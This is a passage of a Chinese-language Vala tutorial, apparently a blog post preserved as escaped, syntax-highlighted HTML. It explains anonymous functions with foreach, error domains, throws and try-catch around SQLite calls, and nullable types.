class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// foreach 方法需要一个函数,这里面的就是匿名函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"异常处理和空值\"\u003e异常处理和空值\u003c/h2\u003e\n\u003cp\u003e先写出一个错误空间,说明这是啥大类的错误,里面可以细分。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eerrordomain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCOULDNT_OPEN\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEXECUTION_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePREPARATION_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINVALID_GAME\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNOT_FOUND\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e写函数/方法的时候,可以加入 \u003ccode\u003ethrows\u003c/code\u003e 关键字,注明会抛出啥错误。里面需要抛出错误的时候,使用 \u003ccode\u003ethrow\u003c/code\u003e 语句抛出。下面是一个例子:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 说明这个函数会抛出 DatabaseError 错误\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eNAME_OF_DB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话,先新建一个错误类,里面写的是具体内容,然后抛出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCOULDNT_OPEN\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cannot create database: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要捕捉抛出的错误,请使用 try-catch-finally 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecreateDatabase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_FLIGHT_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_HOTEL_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_BUS_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_CUSTOMER_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_RESERVATION_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 错误被捕捉到了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estderr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 可以加写一个 finally,finally 总会被运行\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eVala 的变量可以设为空值,方法是加一个问号:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话会报错\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话不会报错\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我个人认为,如果你不能确保方法确实能返回一个元素,可以使用这个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 我没在摸鱼\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCatchFishBeFoundError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan 